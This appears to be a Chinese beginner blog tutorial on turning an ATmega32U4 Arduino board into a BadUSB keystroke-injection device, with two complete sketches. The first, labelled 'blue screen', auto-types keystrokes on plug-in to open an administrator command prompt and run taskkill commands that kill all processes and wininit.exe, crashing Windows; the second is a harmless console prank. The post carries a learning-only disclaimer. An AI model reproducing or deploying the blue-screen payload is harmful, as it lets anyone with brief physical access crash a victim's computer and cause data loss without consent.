BadUSB制作教程_BadUSB简单示例(初学)

说明

本文章仅供学习交流,请勿用于非法用途

我用的是CJMCU-Beetle arduino Leonardo USB ATMEGA32U4 Mini Size Development Board

官网购买地址https://www.thanksbuyer.com/cjmcu-beetle-arduino-leonardo-usb-atmega32u4-mini-size-development-board-35975
BadUSB制作教程_BadUSB简单示例(初学)

软件-Arduino

Kali下自带
Windows下 官网下载地址 https://downloads.arduino.cc/arduino-1.8.13-windows.exe

开始制作

打开Arduino
在工具中择开发板 ‘Arduino Leonardo’
BadUSB制作教程_BadUSB简单示例(初学)
然后选择端口
BadUSB制作教程_BadUSB简单示例(初学)
然后就可以编写程序了

接下来是一些示例

1.蓝屏

#include <Keyboard.h>
void setup() {
	Keyboard.begin();   //开始
	delay(2000);   //等待两秒
	Keyboard.press(KEY_LEFT_CTRL);   //按下左边的Ctrl键
	Keyboard.press(KEY_LEFT_SHIFT);   //按下左边的Shift键
	Keyboard.press(KEY_ESC);   //按下ESC键
	Keyboard.releaseAll();   //松开所有按下的键(Ctrl,Shift,ESC)
	//以上代码执行结果: 打开任务管理器
	delay(500);   //等待0.5秒 作用: 等待任务管理器启动
	Keyboard.press(KEY_LEFT_ALT);   //按下左边的Alt键
	Keyboard.press('f');   //按下f键
	Keyboard.release('f');   //松开f键
	Keyboard.press('n');   //按下n键
	Keyboard.releaseAll();   //松开所有(n,Alt)
	delay(500);  //等待0.5秒 作用: 等待运行的启动
	Keyboard.press(KEY_TAB);   //按下Tab键
	Keyboard.release(KEY_TAB);   //松开Tab键
	Keyboard.press(' ');   //按下空格键
	Keyboard.release(' ');   //松开空格键
	//以上代码执行结果: 打开任务管理器中文件->运行新任务->勾选以管理员权限创建此任务
	//(提示: 如果觉得很迷惑,按上面代码自己操作一下就明白了)
	Keyboard.press(KEY_CAPS_LOCK);
	Keyboard.release(KEY_CAPS_LOCK);   //利用CapsLock绕过输入法
	Keyboard.println("cmd");   //在运行中输入cmd,由于按下了CapsLock所以实际上输入的是CMD
	delay(500);  //等待0.5秒 作用: 等待cmd的启动
	Keyboard.println("taskkill /f /fi \"pid ne 1\"");   //在cmd中输入蓝屏指令
	Keyboard.println("taskkill /f /im wininit.exe");   //指令2(其实一个就够了)
	Keyboard.press(KEY_CAPS_LOCK);
	Keyboard.release(KEY_CAPS_LOCK);
	Keyboard.end();   //结束
}

void loop() {
  // put your main code here, to run repeatedly:
}

2.dir/s和tree C:(一个很酷炫的东西) 加上LED闪烁

#include <Keyboard.h>
void setup() {
  pinMode(13, OUTPUT);   //这行加上void loop()下面都是LED闪烁
  Keyboard.begin();
  delay(2000);
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();
  //以上三行: 打开运行
  delay(500);
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.println("cmd");
  delay(500);
  Keyboard.press(KEY_F11);
  Keyboard.release(KEY_F11);
  //以上两行: 全屏(Win10有效)
  Keyboard.println("color 4");
  Keyboard.println("dir/s");
  Keyboard.println("tree d:");
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();
}

void loop() {
  digitalWrite(13, HIGH);
  delay(300);   //点亮时间
  digitalWrite(13, LOW);
  delay(300);  //熄灭时间
}

写入到BadUSB

点击有向左箭头的按钮即可写入
BadUSB制作教程_BadUSB简单示例(初学)
看到上传成功字样就大功告成了!
注意: 上传后BadUSB会立即执行一遍代码
BadUSB制作教程_BadUSB简单示例(初学)
在结尾说一下,以后我会编一个编写这种程序的工具

创作不易,点个赞再走呗

上一篇:Vue——按钮防抖


下一篇:【单片机】I/O口输出控制实验